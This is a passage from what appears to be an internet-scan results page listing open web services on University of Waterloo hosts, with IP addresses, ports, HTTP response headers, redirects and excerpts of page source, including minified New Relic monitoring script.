e?{"source.id":e.id,"source.name":e.name,"source.type":e.type,"parent.id":e.parent?.id||r,"parent.type":e.parent?.type||n.BA}:{"entity.guid":r,appId:t.agentRef.info.applicationID}}},1687:(e,t,r)=>{"use strict";r.d(t,{Ak:()=>d,Ze:()=>h,x3:()=>u});var n=r(3241),i=r(7836),s=r(3606),a=r(860),o=r(2646);const c={};function d(e,t){const r={staged:!1,priority:a.P3[t]||0};l(e),c[e].get(t)||c[e].set(t,r)}function u(e,t){e&&c[
Open service 151.101.66.132:443 · uwaterloo.ca
2026-01-25 08:55
HTTP/1.1 200 OK
Connection: close
Content-Length: 119184
Cache-Control: max-age=180, public
Content-Language: en
Content-Type: text/html; charset=UTF-8
Etag: W/"1769285020"
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Last-Modified: Sat, 24 Jan 2026 20:03:40 GMT
Server: nginx
Strict-Transport-Security: max-age=31622400
X-Content-Type-Options: nosniff
X-Drupal-Cache: HIT
X-Drupal-Dynamic-Cache: MISS
X-Frame-Options: SAMEORIGIN
X-Generator: Drupal 9 (https://www.drupal.org)
X-Pantheon-Styx-Hostname: styx-fe1fe2-g-d4b8475f9-v24xx
X-Styx-Req-Id: 268a6bf2-f9b6-11f0-be97-e6ad84dab020
X-Ua-Compatible: IE=edge
Age: 1
Accept-Ranges: bytes
Via: 1.1 varnish, 1.1 varnish, 1.1 varnish
Date: Sun, 25 Jan 2026 08:55:23 GMT
X-Served-By: cache-yyz4548-YYZ, cache-lcy-egml8630079-LCY, cache-lcy-egml8630067-LCY
X-Cache: MISS, HIT, MISS
X-Cache-Hits: 0, 5, 0
X-Timer: S1769331324.707292,VS0,VE5
Vary: Accept-Encoding, Cookie, Cookie, Cookie
Content-Security-Policy: default-src 'self' 'unsafe-inline' 'unsafe-eval' data: https://uwaterloo.ca https://*.uwaterloo.ca https://maxcdn.bootstrapcdn.com https://*.google.com https://*.google-analytics.com https://*.googleapis.com https://*.gstatic.com https://*.googletagmanager.com https://*.googleusercontent.com https://*.googleadservices.com https://*.g.doubleclick.net https://6263835.fls.doubleclick.net https://ad.doubleclick.net https://14868352.fls.doubleclick.net https://cdnjs.cloudflare.com https://twitter.com https://*.twitter.com https://*.twimg.com https://*.facebook.com https://*.facebook.net https://scontent.xx.fbcdn.net https://*.youtube.com https://*.youtube-nocookie.com https://s.ytimg.com https://*.livestream.com https://*.webspellchecker.net https://cdn.mathjax.org https://*.addtoany.com https://*.vimeo.com https://*.vimeocdn.com https://cdn.leafletjs.com https://cdn-geoweb.s3.amazonaws.com https://cdn.maptiks.com https://api.tiles.mapbox.com https://d591zijq8zntj.cloudfront.net https://*.libanswers.com https://*.libchat.com https://secure.skype.com https://cdn-akamai.mookie1.com https://*.tiqcdn.com https://snap.licdn.com https://*.ads.linkedin.com https://secure.adnxs.com https://public.tableau.com https://codepen.io https://cpwebassets.codepen.io https://static.codepen.io https://public.codepenassets.com https://app.powerbi.com https://s.yimg.com https://sp.analytics.yahoo.com https://chat.socialintents.com https://hcaptcha.com https://newassets.hcaptcha.com https://code.jquery.com https://experience.arcgis.com https://api.mapbox.com https://www.instagram.com https://vuejs.org https://cdn.jsdelivr.net https://js-agent.newrelic.com https://bam.nr-data.net https://us-central1-pantheon-psapps.cloudfunctions.net https://cdn.ckeditor.com https://netdna.bootstrapcdn.com https://*.hotjar.com https://*.hotjar.io https://*.kuali.co https://drupal-oauth.mailchimp.com https://srv.stackadapt.com https://*.srv.stackadapt.com https://qvdt3feo.com https://origin.acuityplatform.com https://e.acuityplatform.com https://*.clarity.ms https://c.bing.com https://www.redditstatic.com https://events.reddit.com https://wat-2.test.technolutions.net https://wat.test.technolutions.net; img-src * data:
x-var-slug: /
<!DOCTYPE html>
<html lang="en" dir="ltr" prefix="content: http://purl.org/rss/1.0/modules/content/ dc: http://purl.org/dc/terms/ foaf: http://xmlns.com/foaf/0.1/ og: http://ogp.me/ns# rdfs: http://www.w3.org/2000/01/rdf-schema# schema: http://schema.org/ sioc: http://rdfs.org/sioc/ns# sioct: http://rdfs.org/sioc/types# skos: http://www.w3.org/2004/02/skos/core# xsd: http://www.w3.org/2001/XMLSchema# " class="no-js">
<head>
<meta charset="utf-8" /><script type="text/javascript">(window.NREUM||(NREUM={})).init={privacy:{cookies_enabled:true},ajax:{deny_list:["bam.nr-data.net"]},feature_flags:["soft_nav"],distributed_tracing:{enabled:true}};(window.NREUM||(NREUM={})).loader_config={agentID:"1103280112",accountID:"4165269",trustKey:"66686",xpid:"UAcBVFRVARABVFhaBQMHUlYJ",licenseKey:"NRJS-00798bf011f7ec1aa7f",applicationID:"1098220428",browserID:"1103280112"};;/*! For license information please see nr-loader-spa-1.308.0.min.js.LICENSE.txt */
(()=>{var e,t,r={384:(e,t,r)=>{"use strict";r.d(t,{NT:()=>a,US:()=>u,Zm:()=>o,bQ:()=>d,dV:()=>c,pV:()=>l});var n=r(6154),i=r(1863),s=r(1910);const a={beacon:"bam.nr-data.net",errorBeacon:"bam.nr-data.net"};function o(){return n.gm.NREUM||(n.gm.NREUM={}),void 0===n.gm.newrelic&&(n.gm.newrelic=n.gm.NREUM),n.gm.NREUM}function c(){let e=o();return e.o||(e.o={ST:n.gm.setTimeout,SI:n.gm.setImmediate||n.gm.setInterval,CT:n.gm.clearTimeout,XHR:n.gm.XMLHttpRequest,REQ:n.gm.Request,EV:n.gm.Event,PR:n.gm.Promise,MO:n.gm.MutationObserver,FETCH:n.gm.fetch,WS:n.gm.WebSocket},(0,s.i)(...Object.values(e.o))),e}function d(e,t){let r=o();r.initializedAgents??={},t.initializedAt={ms:(0,i.t)(),date:new Date},r.initializedAgents[e]=t}function u(e,t){o()[e]=t}function l(){return function(){let e=o();const t=e.info||{};e.info={beacon:a.beacon,errorBeacon:a.errorBeacon,...t}}(),function(){let e=o();const t=e.init||{};e.init={...t}}(),c(),function(){let e=o();const t=e.loader_config||{};e.loader_config={...t}}(),o()}},782:(e,t,r)=>{"use strict";r.d(t,{T:()=>n});const n=r(860).K7.pageViewTiming},860:(e,t,r)=>{"use strict";r.d(t,{$J:()=>u,K7:()=>c,P3:()=>d,XX:()=>i,Yy:()=>o,df:()=>s,qY:()=>n,v4:()=>a});const n="events",i="jserrors",s="browser/blobs",a="rum",o="browser/logs",c={ajax:"ajax",genericEvents:"generic_events",jserrors:i,logging:"logging",metrics:"metrics",pageAction:"page_action",pageViewEvent:"page_view_event",pageViewTiming:"page_view_timing",sessionReplay:"session_replay",sessionTrace:"session_trace",softNav:"soft_navigations",spa:"spa"},d={[c.pageViewEvent]:1,[c.pageViewTiming]:2,[c.metrics]:3,[c.jserrors]:4,[c.spa]:5,[c.ajax]:6,[c.sessionTrace]:7,[c.softNav]:8,[c.sessionReplay]:9,[c.logging]:10,[c.genericEvents]:11},u={[c.pageViewEvent]:a,[c.pageViewTiming]:n,[c.ajax]:n,[c.spa]:n,[c.softNav]:n,[c.metrics]:i,[c.jserrors]:i,[c.sessionTrace]:s,[c.sessionReplay]:s,[c.logging]:o,[c.genericEvents]:"ins"}},944:(e,t,r)=>{"use strict";r.d(t,{R:()=>i});var n=r(3241);function i(e,t){"function"==typeof console.debug&&(console.debug("New Relic Warning: https://github.com/newrelic/newrelic-browser-agent/blob/main/docs/warning-codes.md#".concat(e),t),(0,n.W)({agentIdentifier:null,drained:null,type:"data",name:"warn",feature:"warn",data:{code:e,secondary:t}}))}},993:(e,t,r)=>{"use strict";r.d(t,{A$:()=>s,ET:()=>a,TZ:()=>o,p_:()=>i});var n=r(860);const i={ERROR:"ERROR",WARN:"WARN",INFO:"INFO",DEBUG:"DEBUG",TRACE:"TRACE"},s={OFF:0,ERROR:1,WARN:2,INFO:3,DEBUG:4,TRACE:5},a="log",o=n.K7.logging},1541:(e,t,r)=>{"use strict";r.d(t,{U:()=>i,f:()=>n});const n={MFE:"MFE",BA:"BA"};function i(e,t){if(2!==t?.harvestEndpointVersion)return{};const r=t.agentRef.runtime.appMetadata.agents[0].entityGuid;return e?{"source.id":e.id,"source.name":e.name,"source.type":e.type,"parent.id":e.parent?.id||r,"parent.type":e.parent?.type||n.BA}:{"entity.guid":r,appId:t.agentRef.info.applicationID}}},1687:(e,t,r)=>{"use strict";r.d(t,{Ak:()=>d,Ze:()=>h,x3:()=>u});var n=r(3241),i=r(7836),s=r(3606),a=r(860),o=r(2646);const c={};function d(e,t){const r={staged:!1,priority:a.P3[t]||0};l(e),c[e].get(t)||c[e].set(t,r)}function u(e,t){e&&c[
Open service 2a04:4e42:400::645:80 · uwaterloo.ca
2026-01-25 08:55
HTTP/1.1 301 Moved Permanently Connection: close Content-Length: 0 Server: Varnish Retry-After: 0 Location: https://uwaterloo.ca/ Accept-Ranges: bytes Date: Sun, 25 Jan 2026 08:55:23 GMT Via: 1.1 varnish Strict-Transport-Security: max-age=300 X-Served-By: cache-vie6329-VIE X-Cache: HIT X-Cache-Hits: 0 Content-Security-Policy: default-src 'self' 'unsafe-inline' 'unsafe-eval' data: https://uwaterloo.ca https://*.uwaterloo.ca https://maxcdn.bootstrapcdn.com https://*.google.com https://*.google-analytics.com https://*.googleapis.com https://*.gstatic.com https://*.googletagmanager.com https://*.googleusercontent.com https://*.googleadservices.com https://*.g.doubleclick.net https://6263835.fls.doubleclick.net https://ad.doubleclick.net https://14868352.fls.doubleclick.net https://cdnjs.cloudflare.com https://twitter.com https://*.twitter.com https://*.twimg.com https://*.facebook.com https://*.facebook.net https://scontent.xx.fbcdn.net https://*.youtube.com https://*.youtube-nocookie.com https://s.ytimg.com https://*.livestream.com https://*.webspellchecker.net https://cdn.mathjax.org https://*.addtoany.com https://*.vimeo.com https://*.vimeocdn.com https://cdn.leafletjs.com https://cdn-geoweb.s3.amazonaws.com https://cdn.maptiks.com https://api.tiles.mapbox.com https://d591zijq8zntj.cloudfront.net https://*.libanswers.com https://*.libchat.com https://secure.skype.com https://cdn-akamai.mookie1.com https://*.tiqcdn.com https://snap.licdn.com https://*.ads.linkedin.com https://secure.adnxs.com https://public.tableau.com https://codepen.io https://cpwebassets.codepen.io https://static.codepen.io https://public.codepenassets.com https://app.powerbi.com https://s.yimg.com https://sp.analytics.yahoo.com https://chat.socialintents.com https://hcaptcha.com https://newassets.hcaptcha.com https://code.jquery.com https://experience.arcgis.com https://api.mapbox.com https://www.instagram.com https://vuejs.org https://cdn.jsdelivr.net https://js-agent.newrelic.com https://bam.nr-data.net https://us-central1-pantheon-psapps.cloudfunctions.net https://cdn.ckeditor.com https://netdna.bootstrapcdn.com https://*.hotjar.com https://*.hotjar.io https://*.kuali.co https://drupal-oauth.mailchimp.com https://srv.stackadapt.com https://*.srv.stackadapt.com https://qvdt3feo.com https://origin.acuityplatform.com https://e.acuityplatform.com https://*.clarity.ms https://c.bing.com https://www.redditstatic.com https://events.reddit.com https://wat-2.test.technolutions.net https://wat.test.technolutions.net; img-src * data:
Open service 2a04:4e42:600::645:80 · uwaterloo.ca
2026-01-25 08:55
HTTP/1.1 301 Moved Permanently Connection: close Content-Length: 0 Server: Varnish Retry-After: 0 Location: https://uwaterloo.ca/ Accept-Ranges: bytes Date: Sun, 25 Jan 2026 08:55:23 GMT Via: 1.1 varnish Strict-Transport-Security: max-age=300 X-Served-By: cache-fra-eddf8230161-FRA X-Cache: HIT X-Cache-Hits: 0 Content-Security-Policy: default-src 'self' 'unsafe-inline' 'unsafe-eval' data: https://uwaterloo.ca https://*.uwaterloo.ca https://maxcdn.bootstrapcdn.com https://*.google.com https://*.google-analytics.com https://*.googleapis.com https://*.gstatic.com https://*.googletagmanager.com https://*.googleusercontent.com https://*.googleadservices.com https://*.g.doubleclick.net https://6263835.fls.doubleclick.net https://ad.doubleclick.net https://14868352.fls.doubleclick.net https://cdnjs.cloudflare.com https://twitter.com https://*.twitter.com https://*.twimg.com https://*.facebook.com https://*.facebook.net https://scontent.xx.fbcdn.net https://*.youtube.com https://*.youtube-nocookie.com https://s.ytimg.com https://*.livestream.com https://*.webspellchecker.net https://cdn.mathjax.org https://*.addtoany.com https://*.vimeo.com https://*.vimeocdn.com https://cdn.leafletjs.com https://cdn-geoweb.s3.amazonaws.com https://cdn.maptiks.com https://api.tiles.mapbox.com https://d591zijq8zntj.cloudfront.net https://*.libanswers.com https://*.libchat.com https://secure.skype.com https://cdn-akamai.mookie1.com https://*.tiqcdn.com https://snap.licdn.com https://*.ads.linkedin.com https://secure.adnxs.com https://public.tableau.com https://codepen.io https://cpwebassets.codepen.io https://static.codepen.io https://public.codepenassets.com https://app.powerbi.com https://s.yimg.com https://sp.analytics.yahoo.com https://chat.socialintents.com https://hcaptcha.com https://newassets.hcaptcha.com https://code.jquery.com https://experience.arcgis.com https://api.mapbox.com https://www.instagram.com https://vuejs.org https://cdn.jsdelivr.net https://js-agent.newrelic.com https://bam.nr-data.net https://us-central1-pantheon-psapps.cloudfunctions.net https://cdn.ckeditor.com https://netdna.bootstrapcdn.com https://*.hotjar.com https://*.hotjar.io https://*.kuali.co https://drupal-oauth.mailchimp.com https://srv.stackadapt.com https://*.srv.stackadapt.com https://qvdt3feo.com https://origin.acuityplatform.com https://e.acuityplatform.com https://*.clarity.ms https://c.bing.com https://www.redditstatic.com https://events.reddit.com https://wat-2.test.technolutions.net https://wat.test.technolutions.net; img-src * data:
Open service 2620:101:f000:8803:ca60:ff:fed9:9344:443 · robohub.eng.uwaterloo.ca
2026-01-25 06:11
HTTP/1.1 200 OK
Date: Sun, 25 Jan 2026 06:11:42 GMT
Server: Apache/2.4.58 (Ubuntu)
Strict-Transport-Security: max-age=63072000
Last-Modified: Fri, 04 Oct 2024 20:12:59 GMT
ETag: "1170-623ac4c268202"
Accept-Ranges: bytes
Content-Length: 4464
Vary: Accept-Encoding
Connection: close
Content-Type: text/html
Page title: RoboHub link page
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>RoboHub link page</title>
<link rel="shortcut icon"
href="Main-RoboHub-Icon-RGB.svg">
<link rel="apple-touch-icon" sizes="180x180" href="/apple-touch-icon.png">
<link rel="icon" type="image/png" sizes="32x32" href="/favicon-32x32.png">
<link rel="icon" type="image/png" sizes="16x16" href="/favicon-16x16.png">
<link rel="manifest" href="/site.webmanifest">
<link rel="mask-icon" href="/safari-pinned-tab.svg" color="#5bbad5">
<meta name="msapplication-TileColor" content="#da532c">
<meta name="theme-color" content="#ffffff">
<style type="text/css" media="screen">
* {
margin: 0px 0px 0px 0px;
padding: 0px 0px 0px 0px;
}
body, html {
padding: 3px 3px 3px 3px;
background-color: #D8DBE2;
font-family: Verdana, sans-serif;
font-size: 11pt;
text-align: center;
}
div.main_page {
position: relative;
display: table;
width: 800px;
margin-bottom: 3px;
margin-left: auto;
margin-right: auto;
padding: 0px 0px 0px 0px;
border-width: 2px;
border-color: #212738;
border-style: solid;
background-color: #FFFFFF;
text-align: center;
}
div.page_header {
height: 99px;
width: 100%;
background-color: #F5F6F7;
}
div.page_header span {
margin: 15px 0px 0px 50px;
font-size: 180%;
font-weight: bold;
}
div.page_header img {
margin: 3px 0px 0px 40px;
border: 0px 0px 0px;
}
div.table_of_contents {
clear: left;
min-width: 200px;
margin: 3px 3px 3px 3px;
background-color: #FFFFFF;
text-align: left;
}
div.table_of_contents_item {
clear: left;
width: 100%;
margin: 4px 0px 0px 0px;
background-color: #FFFFFF;
color: #000000;
text-align: left;
}
div.table_of_contents_item a {
margin: 6px 0px 0px 6px;
}
div.content_section {
margin: 3px 3px 3px 3px;
background-color: #FFFFFF;
text-align: left;
}
div.content_section_text {
padding: 4px 8px 4px 8px;
color: #000000;
font-size: 100%;
}
div.content_section_text pre {
margin: 8px 0px 8px 0px;
padding: 8px 8px 8px 8px;
border-width: 1px;
border-style: dotted;
border-color: #000000;
background-color: #F5F6F7;
font-style: italic;
}
div.content_section_text p {
margin-bottom: 6px;
}
div.content_section_text ul, div.content_section_text li {
padding: 4px 8px 4px 16px;
}
div.section_header {
padding: 3px 6px 3px 6px;
background-color: #8E9CB2;
color: #FFFFFF;
font-weight: bold;
font-size: 112%;
text-align: center;
}
div.section_header_red {
background-color: #CD214F;
}
div.section_header_grey {
background-color: #9F9386;
}
.floating_element {
position: relative;
float: left;
}
div.table_of_contents_item a,
div.content_section_text a {
text-decoration: none;
font-weight: bold;
}
div.table_of_contents_item a:link,
div.table_of_contents_item a:visited,
div.table_of_contents_item a:active {
color: #000000;
}
div.table_of_contents_item a:hover {
background-color: #000000;
color: #FFFFFF;
}
div.content_section_text a:link,
div.content_section_text a:visited,
div.content_section_text a:active {
background-color: #DCDFE6;
color: #000000;
}
div.content_section_text a:hover {
background-color: #000000;
color: #DCDFE6;
}
div.validator {
}
</style>
</head>
<body>
<!--<h2 style='margin: 20px;'>Welcome to RoboHub!</h2>-->
<img src="robohub.png" style='width: 10%; margin-top: 5%;'>
<ul style='text-align: left; margin-left: 20%;'>
<li><a href="https://git.uwaterloo.ca/robohub">Gitlab</a>
<ul>
<li><a href="https://git.uwaterloo.ca/robohub/robohub/wikis/home">Gitlab: RoboHub Wiki</a></l
Open service 2620:101:f000:8803:ca60:ff:fed9:9344:80 · robohub.eng.uwaterloo.ca
2026-01-25 06:11
HTTP/1.1 301 Moved Permanently Date: Sun, 25 Jan 2026 06:11:59 GMT Server: Apache/2.4.58 (Ubuntu) Strict-Transport-Security: max-age=63072000; includeSubdomains; Location: https://robohub.eng.uwaterloo.ca/ Content-Length: 331 Connection: close Content-Type: text/html; charset=iso-8859-1 Page title: 301 Moved Permanently <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>301 Moved Permanently</title> </head><body> <h1>Moved Permanently</h1> <p>The document has moved <a href="https://robohub.eng.uwaterloo.ca/">here</a>.</p> <hr> <address>Apache/2.4.58 (Ubuntu) Server at robohub.eng.uwaterloo.ca Port 80</address> </body></html>
Open service 129.97.71.15:80 · robohub.eng.uwaterloo.ca
2026-01-25 06:11
HTTP/1.1 301 Moved Permanently Date: Sun, 25 Jan 2026 06:11:59 GMT Server: Apache/2.4.58 (Ubuntu) Strict-Transport-Security: max-age=63072000; includeSubdomains; Location: https://robohub.eng.uwaterloo.ca/ Content-Length: 331 Connection: close Content-Type: text/html; charset=iso-8859-1 Page title: 301 Moved Permanently <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>301 Moved Permanently</title> </head><body> <h1>Moved Permanently</h1> <p>The document has moved <a href="https://robohub.eng.uwaterloo.ca/">here</a>.</p> <hr> <address>Apache/2.4.58 (Ubuntu) Server at robohub.eng.uwaterloo.ca Port 80</address> </body></html>
Open service 129.97.71.15:443 · robohub.eng.uwaterloo.ca
2026-01-25 06:11
HTTP/1.1 200 OK
Date: Sun, 25 Jan 2026 06:11:39 GMT
Server: Apache/2.4.58 (Ubuntu)
Strict-Transport-Security: max-age=63072000
Last-Modified: Fri, 04 Oct 2024 20:12:59 GMT
ETag: "1170-623ac4c268202"
Accept-Ranges: bytes
Content-Length: 4464
Vary: Accept-Encoding
Connection: close
Content-Type: text/html
Page title: RoboHub link page
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>RoboHub link page</title>
<link rel="shortcut icon"
href="Main-RoboHub-Icon-RGB.svg">
<link rel="apple-touch-icon" sizes="180x180" href="/apple-touch-icon.png">
<link rel="icon" type="image/png" sizes="32x32" href="/favicon-32x32.png">
<link rel="icon" type="image/png" sizes="16x16" href="/favicon-16x16.png">
<link rel="manifest" href="/site.webmanifest">
<link rel="mask-icon" href="/safari-pinned-tab.svg" color="#5bbad5">
<meta name="msapplication-TileColor" content="#da532c">
<meta name="theme-color" content="#ffffff">
<style type="text/css" media="screen">
* {
margin: 0px 0px 0px 0px;
padding: 0px 0px 0px 0px;
}
body, html {
padding: 3px 3px 3px 3px;
background-color: #D8DBE2;
font-family: Verdana, sans-serif;
font-size: 11pt;
text-align: center;
}
div.main_page {
position: relative;
display: table;
width: 800px;
margin-bottom: 3px;
margin-left: auto;
margin-right: auto;
padding: 0px 0px 0px 0px;
border-width: 2px;
border-color: #212738;
border-style: solid;
background-color: #FFFFFF;
text-align: center;
}
div.page_header {
height: 99px;
width: 100%;
background-color: #F5F6F7;
}
div.page_header span {
margin: 15px 0px 0px 50px;
font-size: 180%;
font-weight: bold;
}
div.page_header img {
margin: 3px 0px 0px 40px;
border: 0px 0px 0px;
}
div.table_of_contents {
clear: left;
min-width: 200px;
margin: 3px 3px 3px 3px;
background-color: #FFFFFF;
text-align: left;
}
div.table_of_contents_item {
clear: left;
width: 100%;
margin: 4px 0px 0px 0px;
background-color: #FFFFFF;
color: #000000;
text-align: left;
}
div.table_of_contents_item a {
margin: 6px 0px 0px 6px;
}
div.content_section {
margin: 3px 3px 3px 3px;
background-color: #FFFFFF;
text-align: left;
}
div.content_section_text {
padding: 4px 8px 4px 8px;
color: #000000;
font-size: 100%;
}
div.content_section_text pre {
margin: 8px 0px 8px 0px;
padding: 8px 8px 8px 8px;
border-width: 1px;
border-style: dotted;
border-color: #000000;
background-color: #F5F6F7;
font-style: italic;
}
div.content_section_text p {
margin-bottom: 6px;
}
div.content_section_text ul, div.content_section_text li {
padding: 4px 8px 4px 16px;
}
div.section_header {
padding: 3px 6px 3px 6px;
background-color: #8E9CB2;
color: #FFFFFF;
font-weight: bold;
font-size: 112%;
text-align: center;
}
div.section_header_red {
background-color: #CD214F;
}
div.section_header_grey {
background-color: #9F9386;
}
.floating_element {
position: relative;
float: left;
}
div.table_of_contents_item a,
div.content_section_text a {
text-decoration: none;
font-weight: bold;
}
div.table_of_contents_item a:link,
div.table_of_contents_item a:visited,
div.table_of_contents_item a:active {
color: #000000;
}
div.table_of_contents_item a:hover {
background-color: #000000;
color: #FFFFFF;
}
div.content_section_text a:link,
div.content_section_text a:visited,
div.content_section_text a:active {
background-color: #DCDFE6;
color: #000000;
}
div.content_section_text a:hover {
background-color: #000000;
color: #DCDFE6;
}
div.validator {
}
</style>
</head>
<body>
<!--<h2 style='margin: 20px;'>Welcome to RoboHub!</h2>-->
<img src="robohub.png" style='width: 10%; margin-top: 5%;'>
<ul style='text-align: left; margin-left: 20%;'>
<li><a href="https://git.uwaterloo.ca/robohub">Gitlab</a>
<ul>
<li><a href="https://git.uwaterloo.ca/robohub/robohub/wikis/home">Gitlab: RoboHub Wiki</a></l
Open service 129.97.167.179:80 · metrics.cscf.uwaterloo.ca
2026-01-25 06:04
HTTP/1.1 301 Moved Permanently Date: Sun, 25 Jan 2026 06:04:55 GMT Server: Apache/2.4.58 (Ubuntu) Location: https://metrics.cscf.uwaterloo.ca/ Content-Length: 333 Connection: close Content-Type: text/html; charset=iso-8859-1 Page title: 301 Moved Permanently <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>301 Moved Permanently</title> </head><body> <h1>Moved Permanently</h1> <p>The document has moved <a href="https://metrics.cscf.uwaterloo.ca/">here</a>.</p> <hr> <address>Apache/2.4.58 (Ubuntu) Server at metrics.cscf.uwaterloo.ca Port 80</address> </body></html>
Open service 129.97.167.179:443 · metrics.cscf.uwaterloo.ca
2026-01-25 06:04
HTTP/1.1 302 Found Date: Sun, 25 Jan 2026 06:04:36 GMT Server: Apache/2.4.58 (Ubuntu) Strict-Transport-Security: max-age=63072000 Location: https://metrics.cscf.uwaterloo.ca/grafana Content-Length: 317 Connection: close Content-Type: text/html; charset=iso-8859-1 Page title: 302 Found <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="https://metrics.cscf.uwaterloo.ca/grafana">here</a>.</p> <hr> <address>Apache/2.4.58 (Ubuntu) Server at metrics.cscf.uwaterloo.ca Port 443</address> </body></html>
Open service 129.97.222.20:80 · wiseminds.uwaterloo.ca
2026-01-24 22:15
HTTP/1.1 302 Found Date: Sat, 24 Jan 2026 22:10:38 GMT Server: Apache Location: https://wiseminds.uwaterloo.ca/ Content-Length: 215 Connection: close Content-Type: text/html; charset=iso-8859-1 Page title: 302 Found <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="https://wiseminds.uwaterloo.ca/">here</a>.</p> </body></html>
Open service 129.97.222.20:443 · wiseminds.uwaterloo.ca
2026-01-24 22:15
HTTP/1.1 200 OK Date: Sat, 24 Jan 2026 22:10:20 GMT Server: Apache Permissions-Policy: private-state-token-redemption=(self "https://www.google.com" "https://www.gstatic.com" "https://recaptcha.net" "https://challenges.cloudflare.com" "https://hcaptcha.com"), private-state-token-issuance=(self "https://www.google.com" "https://www.gstatic.com" "https://recaptcha.net" "https://challenges.cloudflare.com" "https://hcaptcha.com") Link: <https://wiseminds.uwaterloo.ca/wp-json/>; rel="https://api.w.org/", <https://wiseminds.uwaterloo.ca/wp-json/wp/v2/pages/350>; rel="alternate"; title="JSON"; type="application/json", <https://wiseminds.uwaterloo.ca/>; rel=shortlink Strict-Transport-Security: max-age=31536000; includeSubDomains Access-Control-Allow-Origin: * X-Content-Type-Options: nosniff Referrer-Policy: strict-origin-when-cross-origin X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1; mode=block Vary: Accept-Encoding Content-Security-Policy-Report-Only: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval' *.googleapis.com *.gstatic.com *.cloudflare.com *.wordpress.com; style-src 'self' 'unsafe-inline' *.googleapis.com *.gstatic.com *.cloudflare.com *.wordpress.com; img-src 'self' data: *.gravatar.com *.googleapis.com *.gstatic.com *.cloudflare.com *.wordpress.com; font-src 'self' *.googleapis.com *.gstatic.com *.cloudflare.com; connect-src 'self' *.googleapis.com *.gstatic.com *.cloudflare.com *.wordpress.com *.gravatar.com; frame-src 'self' *.youtube.com *.vimeo.com; object-src 'none'; base-uri 'self'; form-action 'self'; Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
Open service 129.97.222.96:443 · collections.sci.uwaterloo.ca
2026-01-24 20:04
HTTP/1.1 200 OK
Alt-Svc: h3=":443"; ma=2592000
Content-Type: text/html; charset=utf-8
Date: Sat, 24 Jan 2026 20:04:42 GMT
Etag: "dfx2w3kymoocu3-gzip"
Last-Modified: Sat, 24 Jan 2026 19:49:22 GMT
Server: Caddy
Vary: Accept-Encoding
Via: 1.1 Caddy
Connection: close
Transfer-Encoding: chunked
Page title: Science Collections
<!DOCTYPE html>
<html lang="en" data-theme="corporate"> <!-- null will default to first in list in tailwind config -->
<head>
<meta charset="UTF-8" />
<link rel="icon" type="image/svg+xml" href="/vite.svg" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>Science Collections</title>
<link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Barlow+Condensed">
<link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Georgia">
<link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Verdana">
<script type="module" crossorigin src="/assets/index-7d9228c0.js"></script>
<link rel="stylesheet" href="/assets/index-6dda6daf.css">
</head>
<!-- Google tag (gtag.js) --> <script async src='https://www.googletagmanager.com/gtag/js?id=G-5202Y3G329'></script> <script> window.dataLayer = window.dataLayer || []; function gtag(){dataLayer.push(arguments);} gtag('js', new Date()); gtag('config', 'G-5202Y3G329'); </script>
<body>
<div id="app"></div>
</body>
</html>
Open service 129.97.222.96:80 · collections.sci.uwaterloo.ca
2026-01-24 20:04
HTTP/1.1 308 Permanent Redirect Connection: close Location: https://collections.sci.uwaterloo.ca/ Server: Caddy Date: Sat, 24 Jan 2026 20:05:10 GMT Content-Length: 0
Open service 129.97.222.96:443 · ingress-01-prod.sci.uwaterloo.ca
2026-01-24 14:14
HTTP/1.1 307 Temporary Redirect Alt-Svc: h3=":443"; ma=2592000 Location: https://checkvpn.uwaterloo.ca/?callback=https://ingress-01-prod.sci.uwaterloo.ca/ Server: Caddy Strict-Transport-Security: max-age=15768000 Date: Sat, 24 Jan 2026 14:14:54 GMT Content-Length: 0 Connection: close
Open service 129.97.222.96:80 · ingress-01-prod.sci.uwaterloo.ca
2026-01-24 14:14
HTTP/1.1 308 Permanent Redirect Connection: close Location: https://ingress-01-prod.sci.uwaterloo.ca/ Server: Caddy Date: Sat, 24 Jan 2026 14:15:23 GMT Content-Length: 0
Open service 129.97.222.96:443 · markbox-stage.uwaterloo.ca
2026-01-24 14:13
HTTP/1.1 307 Temporary Redirect Alt-Svc: h3=":443"; ma=2592000 Location: https://checkvpn.uwaterloo.ca/?callback=https://markbox-stage.uwaterloo.ca/ Server: Caddy Date: Sat, 24 Jan 2026 14:13:38 GMT Content-Length: 0 Connection: close
Open service 129.97.222.96:80 · markbox-stage.uwaterloo.ca
2026-01-24 14:13
HTTP/1.1 308 Permanent Redirect Connection: close Location: https://markbox-stage.uwaterloo.ca/ Server: Caddy Date: Sat, 24 Jan 2026 14:14:07 GMT Content-Length: 0
Open service 2620:101:f000:4901:c5c:0:caff:e12e:443 · wiki.csclub.uwaterloo.ca
2026-01-24 11:49
